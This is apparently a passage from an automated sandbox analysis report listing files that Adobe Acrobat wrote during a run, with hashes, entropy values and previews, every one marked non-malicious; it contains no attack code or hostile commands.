Preview:	2025/01/10-23:28:26.087 1ef0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:28:26.088 1ef0 Recovering log #3.2025/01/10-23:28:26.089 1ef0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.174741639570343
Encrypted:	false
SSDEEP:	6:iO4qaDmIq2PcNwi2nKuAl9OmbzNMxIFUtSqaEmhZmwsqaiD7kwOcNwi2nKuAl9Ob:70SIvLZHAa8jFUtWEmh/Qg754ZHAa84J
MD5:	1F0D916072E8E1CEF20A5E74445483BF
SHA1:	73580A59F0B7BF16C22243BF7A510C3AE2116303
SHA-256:	4A9E67BECF9DC6FFB3E33756755A88A3B8C3334F873DE29CEA4436FEDB1189B2
SHA-512:	4726736A14DF8A14A7C0AF359F220A893B6D33B5A92FE39C1D609C9A7677A748E79FEACF2C9F23D75F112BEB439D6C59E7B3F6B15D7F103E34F622B774FBB43F
Malicious:	false
Preview:	2025/01/10-23:28:26.087 1ef0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:28:26.088 1ef0 Recovering log #3.2025/01/10-23:28:26.089 1ef0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438982574449914
Encrypted:	false
SSDEEP:	384:yeaci5GFiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1JurVgazUpUTTGt
MD5:	F0BFDEB6A53E475E899234AB27660C99
SHA1:	500E30137BBB8723FBBC9E84BF5B7764D7FF4E99
SHA-256:	FC34919756C48BBBC0BDCFABC7E1E9A0C732628F45B3301C7C9C9D81D6B6982F
SHA-512:	D99AEC820B4E6636F3D2476AB17ECEADB9B4C3FE83FB43321BEA445F525229FF75E5315B1413D07FB9ABCA29050A94E2EE01758DD5E9F18D33818E234F1CF518
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7755370115870845
Encrypted:	false
SSDEEP:	48:7MAp/E2ioyVMioy3DoWoy1CABoy1YKOioy1noy1AYoy1Wioy1hioybioyHoy1no6:7zpjuM0iAoXKQq8b9IVXEBodRBko
MD5:	704439F626A8FBA3BEAE7778E6BC60EB
SHA1:	1237A1EE4E4B1CAF810C25CCB82F1C67A8C93E2A
SHA-256:	9FB1C01E7E42D6D5F3951146CD7E66BCE4D9760912443A3BE2FA76D433D3AD89
SHA-512:	EF4FE9E1791B03B5241AC1F76990BF7862B751867CC8B03214EDCD5D7F90838740CC723FEB7B06051D61BF4C473C8B5B6FAF28F3EF24F0008F321619A0D48C8A
Malicious:	false
Preview:	.... .c.....q..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklZmt+EttfllXlE/HT8kilrtNNX8RolJuRdxLlGB9lQRYwpDdt:kKDtpteT8P3NMa8RdWBwRd
MD5:	5A9F32CAAE5E6A444014D23BC3B77BB9
SHA1:	B2043DA03166E0047B97F67922FF4EC69B7B7F2F
SHA-256:	75D45D820B002D49A0BEA7BF816467A3E4D1028181E5EAE7F7885EDF575B61A8
SHA-512:	ADA6D0D935B9D7C2445D3CB6FB0B14A6EFB663E8010CE7C0ABD1F788D12E57BB79D0DC53E983FE4974F72D02ABC6B82965EA33649A9ECEE76BB9DFCFA41CFD00
Malicious:	false
Preview:	p...... ..........UI.c..(....................................................... ..........W.....s..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2284938185447545
Encrypted:	false
SSDEEP:	6:kKOEKPL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:GTPiDImsLNkPlE99SNxAhUe/3
MD5:	A0B898136CAF8A082B7FF9F6C76F8131
SHA1:	CC6247CB1D702505A85A833136374358BF8913C6
SHA-256:	A0CCA94B42D9E86AE8A640781BEA6B6C8D76B64B91420AB19514F9C90411A125
SHA-512:	A02E5C499EA94971119C68F6234B87B4C16B8FD05218DD203FA6A101427FC887FBAF54E507DFCE08F53E648685A60DE740F918AC51ACA5366CBC848D636C4561
Malicious:	false
Preview:	p...... ...........m.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7524

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7524

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.371126991900884
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJM3g98kUwPeUkwRe9:YvXKXMLSZbsdTeONGMbLUkee9
MD5:	151C4D3CE4C15CA904E08EDAB142200D
SHA1:	7532BD5A731AD40B6A426106A99BC65FB6E8C6D9
SHA-256:	BD03832FC7E9EF8E86CCE544F6528323892BFED8C784E49AEA7408A0DF25AFCA
SHA-512:	63188F0DAD35A591BEAA4F0C2E5D645D283A75F0C8A76A8C80546E285B465E8F3B85EB5E412A0BEBAA71B33D68E5DB979CD52B0EE97C36F5DC3DED98F1C3ED3E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306403178062217
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJfBoTfXpnrPeUkwRe9:YvXKXMLSZbsdTeONGWTfXcUkee9
MD5:	52BC064F2C4CBDFA1C30B667DB4A8C38
SHA1:	4C530F5D3ED4C250605F183D030CF5677EA2BCC1
SHA-256:	56728A5B45931758F1F026D478996124618E112D964AA84952887F8AD9A7A6E4
SHA-512:	A9F40C3FD9196806344304253A2456EEBED8AFF467A51240F543AF41C4516AB46F5E80F7F1A35EB1EFB331A173D871D002957955F0879A34B58FA647E68F4A68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.284951494588222
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJfBD2G6UpnrPeUkwRe9:YvXKXMLSZbsdTeONGR22cUkee9
MD5:	99CAD16D6D6889F9225D241A82D00C29
SHA1:	0C3D9E9142315C19706B35FA46EF4FDF76C6077D
SHA-256:	646D50512D6E7D46044B4313CCA227134C98D68E813BFD59B9B6D3D9D366F7A2
SHA-512:	EF1FEC1E3270E310F0837705BDE855CA9513C95A365405FD246278B6D5EF3E54CD03E051A9DF05A66240AF76F69C5C379330AA89EAF1CCF5E08C5413CEA34D74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.358277702269162
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJfPmwrPeUkwRe9:YvXKXMLSZbsdTeONGH56Ukee9
MD5:	8330A40ED7D5160BD35016935D07F052
SHA1:	FB94552BB2DA395B0862D36094F4434162D434E3
SHA-256:	99B9EBAD9C00F7F961DA4D5EEB189571FAB442EEED74022139FE2BD8BC079144
SHA-512:	B501B5594A5F8841130062FCC714105BC526960249003B6AE3CBC3165BABD23DA81E9EF21A1A1BE8FEAA3549F260831745FA5348A173B6263BF26891A996C6B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689970092093641
Encrypted:	false
SSDEEP:	24:Yv6XnmeOypLgE9cQx8LennAvzBvkn0RCmK8czOCCSz6:YvTethgy6SAFv5Ah8cv/z6
MD5:	ACBA506FE92BB7D05595608253E70708
SHA1:	1153ABC2B32F275695A0471A7C01514ECDD1F284
SHA-256:	49780FF77ABB46097635207CC92B57C23CF84C58F8539CED8DF9E05B8261861C
SHA-512:	6D32C84EA903F6C62C65647D84FD4A37ACA1D12E26B929D7E4E4AC82206D81EA1374BE698D900E531AE7BC8F6AEF1D89D203EC5CF21A400A1307211D4B5EBEA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293373162191335
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJf8dPeUkwRe9:YvXKXMLSZbsdTeONGU8Ukee9
MD5:	A0EAB621130D98066684FF3CA3CCED61
SHA1:	DE7348166F4264ACEFC2480E2F8EF30D4F37CA14
SHA-256:	A762E8921A8BFB60DE9072A3FFC7DCF96B9263898BAB7B9D5109C71B169A1803
SHA-512:	F93307E787CEAC1D3A5326E0934EE87D429ACC9021072A5D51C4E1794AD3A19610A5DB1360E68F9DFCDCFA791729055F4455D98B2EF7C17ACB53A5968C4D851F
Malicious:	false
